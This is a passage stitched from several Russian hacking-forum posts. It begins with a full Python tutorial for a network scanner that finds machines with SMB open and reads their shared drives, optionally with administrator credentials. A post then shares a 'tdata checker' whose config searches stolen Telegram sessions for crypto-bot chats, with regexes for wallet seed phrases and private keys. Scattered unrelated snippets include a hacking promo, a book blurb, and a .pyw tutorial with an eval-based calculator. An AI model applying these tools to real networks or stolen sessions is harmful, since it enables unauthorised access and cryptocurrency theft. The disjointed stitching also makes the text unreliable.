Полученные значения разобьем на строки, сформируем список, при формировании которого обрежем лишние символы, и добавим полученные значения в словарь, где ключом будет имя диска.
Пробежимся в цикле по словарю. Сформируем строку, которая будет состоять из полученных значений и переводов каретки для корректного отображения в терминале, заменим полученные строки на более понятные значения. После чего вернем эту строку из функции.
Python:Copy to clipboard
for key in disks_list:
found = found + "Найден общий ресурс: %s\n%s\n\n" % (key, "\n".join(disks_list[key]))
found = found.replace("NT_STATUS_ACCESS_DENIED", "Общий ресурс виден, но защищен паролем"). \
replace("NT_STATUS_OBJECT_PATH_NOT_FOUND", "Не удается получить доступ к файлу"). \
replace("NT_STATUS_NO_MEDIA_IN_DEVICE", "Диск общий, но нет доступа к носителю"). \
replace("NT_STATUS_DEVICE_DATA_ERROR", "Не удается получить доступ к общему ресурсу")
Spoiler: Код функции получения списка ресурсов
Python:Copy to clipboard
def smb_access(self):
"""
Для начала функция получает данные о доступных сервисах, после чего, данные фильтруются
и выбираются только диски, для которых выполняется попытка чтения содержимого.
:return: возвращает список найденных ресурсов.
"""
disks = check_output(f'{which("smbclient")} -L '
f'{self.ip} {self.user_pass} '
f'2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//"', shell=True).decode()
disks = [d.strip() for d in disks.splitlines()]
disks_list = dict()
for disk in disks:
f = popen(f'{which("smbclient")} //{self.ip}/"{disk}" {self.user_pass} -c "dir;exit" 2>/dev/null').readlines()
d = [x.strip() for x in f]
disks_list.update({disk: d})
if disks_list:
found = ''
for key in disks_list:
found = found + "Найден общий ресурс: %s\n%s\n\n" % (key, "\n".join(disks_list[key]))
found = found.replace("NT_STATUS_ACCESS_DENIED", "Общий ресурс виден, но защищен паролем"). \
replace("NT_STATUS_OBJECT_PATH_NOT_FOUND", "Не удается получить доступ к файлу"). \
replace("NT_STATUS_NO_MEDIA_IN_DEVICE", "Диск общий, но нет доступа к носителю"). \
replace("NT_STATUS_DEVICE_DATA_ERROR", "Не удается получить доступ к общему ресурсу")
return "\n" + found
else:
return 'Не могу получить доступ'
На этом код модуля закончен. Можно приступать к написанию модуля, в котором мы будем обращаться к созданным ранее модулям и получать нужную информацию.
Spoiler: Полный код модуля сканирования общедоступных сетевых ресурсов
Python:Copy to clipboard
"""
Модуль для сканирования сети
на наличие расшаренных(общедоступных)
директорий и дисков локальной сети.
"""
from os import popen
from shutil import which
from subprocess import check_output, CalledProcessError
class SMBscan:
def __init__(self, ip, user_pass):
"""
Инициализация класса для сканирования компьютера на наличие
общедоступных директорий и дисков.
:param ip: IP-адрес для сканирования.
:param user_pass: связка логин пароль, которая запрашивается у пользователя и
передается в виде login%pass. Если пользователь не вводит логин-пароль, по умолчанию
устанавливается значение -N, что означает отсутствие пароля.
"""
self.ip = ip
if user_pass == "" or user_pass == " ":
self.user_pass = "-N"
else:
self.user_pass = user_pass
def smb_get(self):
"""
Сканирование компьютера с использованием smbclient. Получаем вывод команды с параметрами,
где: -L - опция для просмотра доступных сервисов компьютера.
:return: возвращает список общедоступных ресурсов.
"""
try:
view = check_output(f'{which("smbclient")} -L {self.ip} '
f'{self.user_pass} 2>/dev/null', shell=True).decode().splitlines()
view_smb = "\n".join([x.strip() for x in view if not x.startswith("SMB")])
return view_smb
except CalledProcessError:
return 'Ошибка соединения'
def smb_access(self):
"""
Для начала функция получает данные о доступных сервисах, после чего, данные фильтруются
и выбираются только диски, для которых выполняется попытка чтения содержимого.
:return: возвращает список найденных ресурсов.
"""
disks = check_output(f'{which("smbclient")} -L '
f'{self.ip} {self.user_pass} '
f'2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//"', shell=True).decode()
disks = [d.strip() for d in disks.splitlines()]
disks_list = dict()
for disk in disks:
f = popen(f'{which("smbclient")} //{self.ip}/"{disk}" {self.user_pass} -c "dir;exit" 2>/dev/null').readlines()
d = [x.strip() for x in f]
disks_list.update({disk: d})
if disks_list:
found = ''
for key in disks_list:
found = found + "Найден общий ресурс: %s\n%s\n\n" % (key, "\n".join(disks_list[key]))
found = found.replace("NT_STATUS_ACCESS_DENIED", "Общий ресурс виден, но защищен паролем"). \
replace("NT_STATUS_OBJECT_PATH_NOT_FOUND", "Не удается получить доступ к файлу"). \
replace("NT_STATUS_NO_MEDIA_IN_DEVICE", "Диск общий, но нет доступа к носителю"). \
replace("NT_STATUS_DEVICE_DATA_ERROR", "Не удается получить доступ к общему ресурсу")
return "\n" + found
else:
return 'Не могу получить доступ'
Скрипт для получения данных
Создадим модуль scan.py. Импортируем нужные библиотеки и модули, а также объявим глобальный словарь, в который будем складывать полученные при сканировании IP-адреса.
Python:Copy to clipboard
from shutil import which
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import Popen, PIPE
from threading import Thread
from ipaddress import ip_network
from ping3 import ping
from definition import IPDefinition
from smb_scan import SMBscan
IP_SET = []
Пинг сети, проверка наличия машин на адресе
Создадим функцию ping_net(ip), которая на входе получает ip-адрес. С помощью данной функции можно выполнить проверку доступности машины в сети. Так как нам, для наших целей больше информации не требуется, то есть, нет необходимости получать MAC-адрес или NETBIOS-имя компьютера. Выполняем пинг, если ответ получен, проверяем, не равен ли адрес локальному IP, так как получать список ресурсов у своей машины нам нет необходимости, также проверяем, не является ли IP адресом роутера или маршрутизатора. Если нет, добавляем адрес в список. Также обработаем исключение, при котором доступ, то есть пинг адреса запрещен. К примеру, если вы захотите сделать пинг 192.168.1.255, получите ошибку доступа, так как вы попытаетесь пинговать адрес для широковещательной рассылки.
Python:Copy to clipboard
def ping_net(ip):
"""
Проверяет доступность компьютера в сети с помощью
пинга, если доступен, добавляет адрес в глобальный
список, если нет, выход из функции.
:param ip: IP-адрес для пинга компьютеро.
:return: выход из функции.
"""
try:
if ping(ip):
if ip == IPDefinition().local_ip:
return
elif ip == IPDefinition().router_ip:
return
IP_SET.append(ip)
except PermissionError:
return
Запуск потоков для выполнения пинга
Создадим функцию thread_func(target), которая на вход получает адрес и маску сети, для примера, в виде 192.168.1.1/24. В цикле выполняем итерацию по списку адресов, который получаем с помощью ip_network. Запускаем потоки, в которых целевой функцией является функция пинга ip-адреса, в которую передаем итерированный ip. Ждем завершения потоков. Обрабатываем ошибку, когда неверно указан адрес или маска.
Python:Copy to clipboard
def thread_func(target):
"""
Запуск потоков для пинга адресов в диапазоне, который
итерируется с помощью ip_network. Ожидание завершения потоков.
:param target: IP-адрес с маской сети.
:return: выход из функции.
"""
threads = []
try:
for ip in ip_network(target, False):
t = Thread(target=ping_net, kwargs={'ip': str(ip)})
t.daemon = True
t.start()
threads.append(t)
for num, thread in enumerate(threads):
thread.join()
except ValueError:
print('Неверно указан адрес или маска. Повторите ввод')
return
Проверка доступности 139 порта
Создадим функцию check_port(ip, port=139), в которую передается ip-адрес, а также порт для сканирования. По умолчанию порт 139-й. Это порт сеансовой службы NetBIOS, которая активизирует браузер поиска других компьютеров, службы совместного использования файлов, Net Logon и службу сервера.
Выполнять проверку будем с помощью сокетов. Создаем сокет, в котором указываем, что он будет использовать TCP для работы, выполним коннект по переданному в функцию адресу к порту 139. Если есть ответ, вернем True, нет, вернем False.
Python:Copy to clipboard
def check_port(ip, port=139):
"""
Проверка порта службы SMB.
:param ip: IP-адрес для проверки порта.
:param port: порт сеансовой службы NetBIOS, которая
активизирует браузер поиска других компьютеров,
службы совместного использования файлов, Net Logon и службу сервера.
По умолчанию 139.
:return: возвращает True, если порт открыт и
False, если порт недоступен.
"""
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(2)
try:
s.connect((ip, int(port)))
s.shutdown(2)
return True
except Exception:
return False
Установка smbclient при его отсутствии
Создадим функцию smb_install(), в которой проверим, доступен ли пакет по определенному пути. Если нет, запускаем команду установки пакета, запрашиваем пароль у пользователя.
Python:Copy to clipboard
def smb_install():
"""
Проверка наличия smbclient на компьютере.
Если он не установлен в системе, пользователю
будет предложено его установить. Запрашивается пароль
для установки.
"""
if not which('smbclient'):
sudo_password = input("Внимание!\nНе установлен smbclient.\nДля его установки введите пароль sudo: ")
command1 = 'apt install smbclient -y'.split()
p = Popen(['sudo', '-S'] + command1, stdin=PIPE, stderr=PIPE,
universal_newlines=True)
p.communicate(sudo_password + '\n')
Запуск полного сканирования сети
Создадим функцию network_scan(ip_addr, user_pass), которая на входе получает диапазон для сканирования в виде, для примера, 192.168.1.1/24, а также связку логин-пароль, если таковые были указаны пользователем. Создаем список, в который будем складывать ip-адреса, у которых открыт порт 139, после чего запускаем функцию пинга сети с помощью потоков, куда и передаем диапазон.
Python:Copy to clipboard
set_smb = []
thread_func(ip_addr)
Проверяем глобальный список, есть ли в нем IP-адреса. Если есть, запускаем по ним цикл, и проверяем на каждом адресе, открыт ли 139-й порт. Если открыт, добавляем в созданный список. После чего выводим сообщение о том, сколько найдено компьютеров с отрытым 139-портом, а также, сколько их найдено вообще.
Python:Copy to clipboard
if len(IP_SET) > 0:
for ip in IP_SET:
if check_port(ip):
set_smb.append(ip)
print(f'\nНайдено компьютеров с SMB: {len(set_smb)}/{len(IP_SET)}')
Проверяем список после сканирования 139-го порта. Если он не пуст, пробегаемся по нему циклом и запускаем поочередно функции smb_get и smb_access класса SMBscan(cln, user_pass), в который передаем ip-адрес и связку логин-пароль. После чего, выводим в терминал полученные значения.
Python:Copy to clipboard
if len(set_smb) > 0:
for cln in set_smb:
print(f'\n[+] Сканирую: {cln}\n{"-" * 50}')
print(f'{SMBscan(cln, user_pass).smb_get()}')
print(SMBscan(cln, user_pass).smb_access())
else:
print('Сканировать нечего')
Spoiler: Код функции полного сканирования сети
Python:Copy to clipboard
def network_scan(ip_addr, user_pass):
"""
Сканирование сети на наличие в ней компьютеров,
сканирование на каждом из них наличие общедоступных ресурсов.
Вывод полученных данных в терминал.
:param ip_addr: IP-адрес и маска сети.
:param user_pass: логин и пароль пользователя в виде: login%pass
"""
set_smb = []
thread_func(ip_addr)
if len(IP_SET) > 0:
for ip in IP_SET:
if check_port(ip):
set_smb.append(ip)
print(f'\nНайдено компьютеров с SMB: {len(set_smb)}/{len(IP_SET)}')
if len(set_smb) > 0:
for cln in set_smb:
print(f'\n[+] Сканирую: {cln}\n{"-" * 50}')
print(f'{SMBscan(cln, user_pass).smb_get()}')
print(SMBscan(cln, user_pass).smb_access())
else:
print('Сканировать нечего')
else:
print('Компьютеров в сети не обнаружено')
Функция пользовательского выбора
Создадим функцию main(). В ней мы будем запрашивать у пользователя желаемое действие на выбор. Доступен: пинг сети, сканирование одного ip-адреса, сканирование всей сети и выход из скрипта.
Для начала запустим функцию проверки, установлен ли smbclient, smb_install(). Просим у пользователя выбрать действие. Если пользователь выбирает пинг сети, просим ввести ip-адрес и маску сети, после чего запускаем сканирование сети в потоках thread_func(ip_mask), проверяем, есть ли значения в глобальном списке, если есть, выводим их в терминал.
Python:Copy to clipboard
smb_install()
user_ch = input('\nВыберите действие:\n [1] Пинг сети\n [2] Сканирование одного компьютера\n '
'[3] Сканирование сети\n [4] Выход\n >>> ')
if user_ch == "1":
ip_mask = input("\nВведите IP и маску сети (192.168.1.1/24): ")
thread_func(ip_mask)
if len(IP_SET) > 0:
print('\nНайдены компьютеры:')
for ip in IP_SET:
print(f' {ip}')
else:
print('Компьютеров не найдено')
Если пользователь выбрал сканирование одного компьютера, запрашиваем ip-адрес, затем запрашиваем логин. Если логин введен, запрашиваем пароль, формируем опции для передачи в команду сканирования общедоступных ресурсов. То есть, U логин%пароль. Если пользователь не ввел ничего, просто передаем пустое значение и вызываем поочередно функции сканирования компьютера на наличие дисков, и на наличие ресурсов на этих дисках, куда передаем ip-адрес, и логин- пароль. После выполнения функций выводим полученные значения в терминал.
Python:Copy to clipboard
elif user_ch == "2":
ip = input('Введите IP адрес: ')
user = input('Введите логин администратора, если он вам известен.\nЕсли нет, нажмите Enter: ')
if user != "":
pwd = input("Введите пароль администратора, если она вам известен.\nЕсли нет, нажмите Enter: ")
user_pass = f"-U {user}%{pwd}"
else:
user_pass = ""
if check_port(ip):
print(SMBscan(ip, user_pass).smb_get())
print(SMBscan(ip, user_pass).smb_access())
Если пользователь выбрал сканирование всей сети, просим ввести его адрес и маску, запрашиваем логин-пароль и запускаем функцию network_scan(ip_mask, user_pass), куда передаем полученные значения.
Python:Copy to clipboard
elif user_ch == "3":
ip_mask = input("\nВведите IP и маску сети (192.168.1.1/24): ")
user = input('Введите логин администратора, если он вам известен.\nЕсли нет, нажмите Enter: ')
if user != "":
pwd = input("Введите пароль администратора, если она вам известен.\nЕсли нет, нажмите Enter: ")
user_pass = f"-U {user}%{pwd}"
else:
user_pass = ""
network_scan(ip_mask, user_pass)
Если пользователь выбрал выход, завершаем работу скрипта.
Python:Copy to clipboard
elif user_ch == "4":
print('Good by...')
exit(0)
Spoiler: Код функции пользовательского выбора
Python:Copy to clipboard
def main():
"""
Проверка пользовательского выбора. В зависимости
от выбора выполняется пинг сети, сканирование адреса или
сканирование всей сети.
"""
smb_install()
user_ch = input('\nВыберите действие:\n [1] Пинг сети\n [2] Сканирование одного компьютера\n '
'[3] Сканирование сети\n [4] Выход\n >>> ')
if user_ch == "1":
ip_mask = input("\nВведите IP и маску сети (192.168.1.1/24): ")
thread_func(ip_mask)
if len(IP_SET) > 0:
print('\nНайдены компьютеры:')
for ip in IP_SET:
print(f' {ip}')
else:
print('Компьютеров не найдено')
elif user_ch == "2":
ip = input('Введите IP адрес: ')
user = input('Введите логин администратора, если он вам известен.\nЕсли нет, нажмите Enter: ')
if user != "":
pwd = input("Введите пароль администратора, если она вам известен.\nЕсли нет, нажмите Enter: ")
user_pass = f"-U {user}%{pwd}"
else:
user_pass = ""
if check_port(ip):
print(SMBscan(ip, user_pass).smb_get())
print(SMBscan(ip, user_pass).smb_access())
elif user_ch == "3":
ip_mask = input("\nВведите IP и маску сети (192.168.1.1/24): ")
user = input('Введите логин администратора, если он вам известен.\nЕсли нет, нажмите Enter: ')
if user != "":
pwd = input("Введите пароль администратора, если она вам известен.\nЕсли нет, нажмите Enter: ")
user_pass = f"-U {user}%{pwd}"
else:
user_pass = ""
network_scan(ip_mask, user_pass)
elif user_ch == "4":
print('Good by...')
exit(0)
Spoiler: Полный код основного модуля
Python:Copy to clipboard
"""
Скрипт для пинга сети, проверки наличия в ней компьютеров
и сканирование каждого из них на наличие общедоступных ресурсов.
Для работы требует установки библиотеки ping3: pip install ping3.
Также, для работы скрипта на компьютере необходимо наличие
установленного пакета smbclient. Если данного пакета не установлено,
пользователю предлагается его установить.
Также в скрипт импортируются модули для работы с IP-адерсами, то есть
для определения локального, внешнего адреса, а также адреса роутера-маршрутизатора и
модуль для работы с smbclient и сканирования сети с его помощью.
"""
from shutil import which
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import Popen, PIPE
from threading import Thread
from ipaddress import ip_network
from ping3 import ping
from definition import IPDefinition
from smb_scan import SMBscan
IP_SET = []
def ping_net(ip):
"""
Проверяет доступность компьютера в сети с помощью
пинга, если доступен, добавляет адрес в глобальный
список, если нет, выход из функции.
:param ip: IP-адрес для пинга компьютеро.
:return: выход из функции.
"""
try:
if ping(ip):
if ip == IPDefinition().local_ip:
return
elif ip == IPDefinition().router_ip:
return
IP_SET.append(ip)
except PermissionError:
return
def thread_func(target):
"""
Запуск потоков для пинга адресов в диапазоне, который
итерируется с помощью ip_network. Ожидание завершения потоков.
:param target: IP-адрес с маской сети.
:return: выход из функции.
"""
threads = []
try:
for ip in ip_network(target, False):
t = Thread(target=ping_net, kwargs={'ip': str(ip)})
t.daemon = True
t.start()
threads.append(t)
for num, thread in enumerate(threads):
thread.join()
except ValueError:
print('Неверно указан адрес или маска. Повторите ввод')
return
def check_port(ip, port=139):
"""
Проверка порта службы SMB.
:param ip: IP-адрес для проверки порта.
:param port: порт сеансовой службы NetBIOS, которая
активизирует браузер поиска других компьютеров,
службы совместного использования файлов, Net Logon и службу сервера.
По умолчанию 139.
:return: возвращает True, если порт открыт и
False, если порт недоступен.
"""
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(2)
try:
s.connect((ip, int(port)))
s.shutdown(2)
return True
except Exception:
return False
def smb_install():
"""
Проверка наличия smbclient на компьютере.
Если он не установлен в системе, пользователю
будет предложено его установить. Запрашивается пароль
для установки.
"""
if not which('smbclient'):
sudo_password = input("Внимание!\nНе установлен smbclient.\nДля его установки введите пароль sudo: ")
command1 = 'apt install smbclient -y'.split()
p = Popen(['sudo', '-S'] + command1, stdin=PIPE, stderr=PIPE,
universal_newlines=True)
p.communicate(sudo_password + '\n')
def network_scan(ip_addr, user_pass):
"""
Сканирование сети на наличие в ней компьютеров,
сканирование на каждом из них наличие общедоступных ресурсов.
Вывод полученных данных в терминал.
:param ip_addr: IP-адрес и маска сети.
:param user_pass: логин и пароль пользователя в виде: login%pass
"""
set_smb = []
thread_func(ip_addr)
if len(IP_SET) > 0:
for ip in IP_SET:
if check_port(ip):
set_smb.append(ip)
print(f'\nНайдено компьютеров с SMB: {len(set_smb)}/{len(IP_SET)}')
if len(set_smb) > 0:
for cln in set_smb:
print(f'\n[+] Сканирую: {cln}\n{"-" * 50}')
print(f'{SMBscan(cln, user_pass).smb_get()}')
print(SMBscan(cln, user_pass).smb_access())
else:
print('Сканировать нечего')
else:
print('Компьютеров в сети не обнаружено')
def main():
"""
Проверка пользовательского выбора. В зависимости
от выбора выполняется пинг сети, сканирование адреса или
сканирование всей сети.
"""
smb_install()
user_ch = input('\nВыберите действие:\n [1] Пинг сети\n [2] Сканирование одного компьютера\n '
'[3] Сканирование сети\n [4] Выход\n >>> ')
if user_ch == "1":
ip_mask = input("\nВведите IP и маску сети (192.168.1.1/24): ")
thread_func(ip_mask)
if len(IP_SET) > 0:
print('\nНайдены компьютеры:')
for ip in IP_SET:
print(f' {ip}')
else:
print('Компьютеров не найдено')
elif user_ch == "2":
ip = input('Введите IP адрес: ')
user = input('Введите логин администратора, если он вам известен.\nЕсли нет, нажмите Enter: ')
if user != "":
pwd = input("Введите пароль администратора, если она вам известен.\nЕсли нет, нажмите Enter: ")
user_pass = f"-U {user}%{pwd}"
else:
user_pass = ""
if check_port(ip):
print(SMBscan(ip, user_pass).smb_get())
print(SMBscan(ip, user_pass).smb_access())
elif user_ch == "3":
ip_mask = input("\nВведите IP и маску сети (192.168.1.1/24): ")
user = input('Введите логин администратора, если он вам известен.\nЕсли нет, нажмите Enter: ')
if user != "":
pwd = input("Введите пароль администратора, если она вам известен.\nЕсли нет, нажмите Enter: ")
user_pass = f"-U {user}%{pwd}"
else:
user_pass = ""
network_scan(ip_mask, user_pass)
elif user_ch == "4":
print('Good by...')
exit(0)
if __name__ == "__main__":
main()
Небольшое видео демонстрации работы сканера в Kali Linux:
А на этом, пожалуй, всё. Все модули будут прикреплены во вложении к статье.
Спасибо за внимание. Надеюсь, что данная информация будет вам полезна
Автор Johan Van
источник codeby
Подскажите пожалуйста какие библиотеки есть для реализации моих двух проектов.
1. Я хочу написать Инстаграм бота который отвечает в директе и на
комментарий.
2. Хочу научится делать рассылку в Инстаграме.
для новичков кто хочет войти в тему пентеста, чтобы понять некоторые базовые вещи будет достаточно.
Обучению основам криптографии посвящено множество книг. Есть ряд книг, в
которых новичков учат взламывать шифры. Но нет ни одной книги, в которой
новичков учили бы писать компьютерные программы, способные взламывать шифры.
Данная книга восполняет этот пробел. В первых нескольких главах читатели
познакомятся с основами Python и азами криптографии. В последующих главах
поочередно объясняется, как запрограммировать тот или иной шифр и как его
взломать. Кроме того, каждая глава завершается контрольными вопросами, которые
помогут проверить, насколько хорошо вы усвоили прочитанный материал.
Книга предназначена для тех, кто интересуется шифрованием, взломом шифров и
криптографией. Все шифры, рассматриваемые в данной книге (за исключением
криптосистем с открытым ключом, которым посвящены главы 23 и 24), существуют
уже много столетий. Для их взлома достаточно вычислительных мощностей любого
современного ноутбука. Ни одна организация и ни одно частное лицо уже не
пользуется этими шифрами, однако в процессе их изучения вы освоите основы
криптографии и узнаете, как хакеры взламывают слабые шифры.
Книга ориентирована в том числе на новичков в программировании. Здесь
излагаются основы программирования на Python - одного из лучших языков для
начинающих. Python характеризуется настолько плавной кривой обучения, что
освоить его смогут новички любого возраста, а его возможности удовлетворяют
запросам даже самых требовательных профессионалов. Python выполняется в среде
Windows, macOS, Linux и даже Raspberry Pi, причем он доступен для свободной
загрузки и использования.
](https://cloud.mail.ru/public/qQc6/qMaVv6wuL)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
Задача следующая: сервер должен отправить определенные данные клиенту без его
участия (без получения запроса от клиента)
Пробовал sockets и websockets, но и первое, и второе отваливается из-за
брэндмауэра([WinError 10057] ?). Были совсем развратные мысли, по типу
развертывания фласк сервера на одном из пк, но это перебор, да и к нему нельзя
подключиться не из локалки.
Буду рад, если что-нибудь посоветуете! Заранее спасибо
Как-то раз я невзначай. Сунул питон в VS code. В тот же миг все стало новым питон говно, а VS крашнулась...
Click to expand...
Год назад я написал чекер tdata на питоне, решил выложить тут
В конфиге можно выбрать какие чаты искать, а так-же поиск сообщений по регуляркам.
JSON:Copy to clipboard
{
"search": [
"btc_change_bot",
"chatex_bot",
"cryptolocator_bot",
"prostocash_bot",
"cryptobot",
"wallet",
"cryptobitbot"
],
"patterns": [
"([a-z]{3,10}( |\r|\n|\t)*){12,26}$|\\d.*[a-z]{3,10}",
"([a-fA-F0-9]{64}|5[HJK][1-9A-Za-z][^OIl]{48,50}$|[5KL][1-9A-HJ-NP-Za-km-z]{50,51})"
]
}
python -m pip install -r requirements.txt
python main.py
Чекер покажет нам все что нашёл по регуляркам, юзернеймам и чаты/каналы где юзер админ.
Checker_zip)
anonfiles.com
Password:
Hidden content for authorized users.
xss.is
Помогу с кодом на Python, ссыкливым нубам и опытным хакерам. Синтаксис разжую, структуры данных вскрою, библиотеки на отмашку дам. Проекты чисто подшаманю, код оптимизирую, эффективность взлома максимизирую. Кидайте вопросы, флудите смело - всем помогу, ни один злой баг не уйдет от меня! Держите лапки на пульсе хакерского сообщества, заходите в чат, будем делать шоу! Let's hack the world with Python!"
Авторnetwork work
Источник https://xss.is
Всем здравствуйте я решил создать статью где подробно опишу что такое формат .pyw в питоне , для чего был создан и как с ним работать . Одной статьей тут не обойтись , в этой статьей мы разберем базовые навыки .Присаживайтесь по удобнее а мы начинаем
Формат .pyw был создан разработчикам Гвидо ван Россум (создатель самого языка ).Цель данного формата было возможность создавать графические приложения на Windows .Данный формат славиться тем что позволяет запускать Python скрипты без консольного окна , что является большим плюсом для GUI
Давайте сравним обычный формат .py и формат .pyw .
Формат .pyw - формат идеально подходит для верстки графических приложений, запускается программы с данным форматом без надобности открывать консоль. Но есть нюанс , данный формат подходит для юзеров но для разрабов думаю по лучше будет сток формат .py , почему же ? Дело в том то что приложение с таким форматом запускается без консоли , значит и ошибки при написание мы не сможем видеть .Это проблема не такая большая , потому что можно запустить формат этот как и через консоль так и напрямую .В целом формат хороший и b и вполне подходит для верстки GUI.
Формат .py - Данный формат подходит буквально под все все типы приложений , включая консольные и графические. Данный формат запускается через консоль что делает для пользователя является минусом , все таки формат .pyw выглядит более профессионально и если можно так назвать белее . Можно сказать этот формат больше является жирным плюсом для разработчика чем для юзера
Вывод - оба форматы хороши по своему , что .py что .pyw но формат .py .Но формат .pyw выглядит как по мне более профессионально чем .py .Подробнее можете почитать в интернете( основную цель форматом думаю я рассказал )
Давайте разберем пару скриптов с этим форматом , начнем с самого легкого , закончим все это более сложным скриптом и заключением .
Первый скрипт у нас будет простой калькулятор , с простым но приятным дизайном . Давайте начнем
Python:Copy to clipboard
import tkinter as tk
from tkinter import messagebox
class Calculator:
def __init__(self, root):
self.root = root
self.root.title("Калькулятор")
self.display = tk.Entry(root, font=("Arial", 19), bd=13, relief=tk.SUNKEN, justify='right')
self.display.grid(row=0, column=0, columnspan=4)
buttons = [
'1', '2', '3', '/',
'4', '5', '6', '*',
'7', '8', '9', '-',
'C', '0', '=', '+'
]
row1 = 1
row2 = 0
for button in buttons:
self.create_button(button, row1, row2)
row2 += 1
if row2 > 3:
row2 = 0
row1 += 1
def create_button(self, text, row, column):
button = tk.Button(self.root, text=text, padx=23, pady=23, font=("Arial", 16), command=lambda: self.on_button_click(text))
button.grid(row=row, column=column, sticky='nsew')
def on_button_click(self, text):
if text == 'C':
self.display.delete(0, tk.END)
elif text == '=':
try:
# Разрешение дробей
expression = self.display.get()
result = eval(expression)
self.display.delete(0, tk.END)
self.display.insert(tk.END, str(result))
except Exception as e:
messagebox.showerror("Ошибка", "Ошибка вычисления")
self.display.delete(0, tk.END)
else:
self.display.insert(tk.END, text)
if __name__ == "__main__":
root = tk.Tk()
calculator = Calculator(root)
root.mainloop()
Давайте разберем каждую строчку данного скрипта
Python:Copy to clipboard
import tkinter as tk
- Импортируем модуль Tkinter и в добавок присваиваем ему можно сказать имя tk , для удобной работы .Что за библиотека Tkinter и зачем она нужна? Все просто , это стандартная библиотека python которая отвечает за создание графических интерфейсов
Python:Copy to clipboard
from tkinter import messagebox
- Импортируем модуль messagebox из Tkinter которая отвечает за показ всплывающих окон сообщений .В данном скрипте мы будем через нее показывать ошибки
Python:Copy to clipboard
class Calculator:
- Определяем новый класс Calculator , которая будет отвечать за содержания логики и интерфейс в данном случаи в калькуляторе
Python:Copy to clipboard
def __init__(self, root):
- можно сказать это конструктор класса , вызываемый при создании нового объекта , а так же принимает параметр root который отвечает за представления главного окна
Python:Copy to clipboard
self.root = root
- строчка сохраняет ссылку на главное окно для возможности использования в других методах
Python:Copy to clipboard
self.root.title("Калькулятор")
- Устанавливаем заголовок окна
Python:Copy to clipboard
self.display = tk.Entry(root, font=("Arial", 19), bd=13, relief=tk.SUNKEN, justify='right')
- строчка создает виджет entry , который используется для ввода и отображения текста , давайте разберем строчку подробнее .font=("Arial", 19) - устанавливаем шрифт Arial , размер шрифта будет 19 .bd=13 - установка ширины границы .relief=tk.SUNKEN - отвечает за границу виджета , можно сказать это идет как декорация .кнопки будут более реалистичными что делает калькулятор более приятным.justify='right - строчка отвечает за выравнивание текста по правому краю , мы будем вводить все цифры с правой стороны .Что как по мне удобно и опять же реалистично
Python:Copy to clipboard
self.display.grid(row=0, column=0, columnspan=4) - Так же размещает виджет entry, row=0
- установка виджета в первой строчке ,column=0 - установка виджета в первом столбце , columnspan=4 - строчка устанавливает виджет так , чтобы он занимал четыре столбца
Python:Copy to clipboard
buttons = [
'1', '2', '3', '/',
'4', '5', '6', '*',
'7', '8', '9', '-',
'C', '0', '=', '+'
]
- Мы создали список с числами для кнопок в нашем калькуляторе .
Python:Copy to clipboard
row1 = 1
- инициализируем переменную для позиций кнопок , row 1 указывает на строку
Python:Copy to clipboard
row2 = 0
- все тоже самое что было сказано в row 1 но row 2 уже отвечает за указание столбца
Python:Copy to clipboard
for button in buttons:
- мы создаем можно сказать цикл для перебора каждой кнопки в выше созданном списке (buttons)
Python:Copy to clipboard
self.create_button(button, row1, row2)
- Строчка создает кнопки и размещает ее в указной нами строчке и столбце
Python:Copy to clipboard
row2 += 1
- переход к следующими столбцу
Python:Copy to clipboard
if row2 > 3:
- строка проверяет если столбец превышает 3 (уже последний столбец в сетке )
Python:Copy to clipboard
row2 = 0 , row1 += 1
- сбрасывает row2 в 0 и переходит к row1
Python:Copy to clipboard
def create_button(self, text, row, column)
- Используем метод для создания и размещение кнопок
Python:Copy to clipboard
button = tk.Button(self.root, text=text, padx=23, pady=23, font=("Arial", 16), command=lambda: self.on_button_click(text))
- для начало мы создаем кнопку с указанными параметрами , давайте эти параметры разберем .text=text - отвечает за текст в нашем случаи числа на кнопке .padx=23 - установка внутреннего отступа по горизонтали .pady=23 - установка внутреннего отступа по вертикали. font=("Arial", 16) - устанавливаем шрифт Arial и размер текста.command=lambda: self.on_button_click(text) - строчка отвечает за вызывание кнопки при нажатие на нее . А так же мы использовали lambda чтобы передать текст кнопки в метод "on_button_click"
Python:Copy to clipboard
button.grid(row=row, column=column, sticky='nsew')
- Размещаем кнопку в указанной нами строке и столбце .А sticky='nsew' можно сказать заставляет кнопку растягиваться по всей ячейки сетки ( очередной декор , который делает калькулятор приятным для глаза)
Сейчас мы разберем метод обработки нажатий кнопок в калькуляторе
Python:Copy to clipboard
def on_button_click(self, text)
- это метод для обработки нажатий на кнопки в калькуляторе
Python:Copy to clipboard
if text == 'C'
- строчка отвечает за грамотную работу кнопки C (очистка строчки )
Python:Copy to clipboard
self.display.delete(0, tk.END)
- строчка работает при нажатии на C ,она удаляет весь текст из поля ввода
Python:Copy to clipboard
elif text == '=':
- отвечает за выполнение вычисление
Python:Copy to clipboard
expression = self.display.get()
- строчка получает текст из поля ввода
Python:Copy to clipboard
result = eval(expression)
- вычисляет результат выражения , используя функцию eval() ( спойлер : к этой функции мы еще вернемся в других статьях)
Python:Copy to clipboard
self.display.delete(0, tk.END)
- строчка отвечает за очистку поле ввода
Python:Copy to clipboard
self.display.insert(tk.END, str(result)) -
выводим результат готового вычисления в поле ввода
Python:Copy to clipboard
except Exception as e:
Если возникнет какая то ошибка ( к примеру из за не правильного ввода ) , то строчка покажет сообщение об ошибке
Python:Copy to clipboard
messagebox.showerror("Ошибка", "Ошибка вычисления")
- выводим на экран пользователя сообщение об ошибке
Python:Copy to clipboard
self.display.delete(0, tk.END)
- очищаем поле ввода ( в этот раз уже после показа ошибки )
Python:Copy to clipboard
else:
- если нажата кнопка с другим текстом к примеру то строчка добавит ее в поле ввода
Python:Copy to clipboard
self.display.insert(tk.END, text)
- добавляем текст в поле ввода
Python:Copy to clipboard
if __name__ == "__main__":
- отвечает за проверку скрипта , выполняется ли он как основная программа
Python:Copy to clipboard
root = tk.Tk()
- Создаем главное окно Tkinter
Python:Copy to clipboard
calculator = Calculator(root)
- строчка создает копию можно сказать класса Calculator , передавая в него главное окно
Python:Copy to clipboard
root.mainloop()
